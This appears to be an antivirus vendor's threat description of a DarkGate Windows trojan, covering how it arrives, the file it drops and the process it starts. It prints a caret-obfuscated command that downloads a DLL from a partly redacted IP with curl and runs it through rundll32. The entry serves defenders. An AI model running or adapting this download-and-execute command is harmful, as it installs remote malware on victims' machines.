Trojan.Win64.DARKGATE.YXDIZZ

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

However, as of this writing, the said sites are inaccessible. It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan drops the following files:

• %Public%\PM7zc0iWd.dat

(Note: %Public% is the folder that serves as a repository of files or folders common to all users, which is usually C:\Users\Public in Windows Vista, 7, and 8.)

It adds the following processes:

• cmd.exe /c c^u^r^l -o %Public%\PM7zc0iWd.dat http://{BLOCKED}.{BLOCKED}.{BLOCKED}.59/ZIbr7/n7i&&timeout 15&&rundll32 %Public%\PM7zc0iWd.dat scab /k besogon728 → This process downloads a DLL file from a malicious URL using the curl command, then execute it using rundll32.exe with "scab /k besogon728" as arguments.

Other Details

However, as of this writing, the said sites are inaccessible.

It requires being executed with a specific argument/parameter, an additional component, or in a specific environment in order to proceed with its intended routine.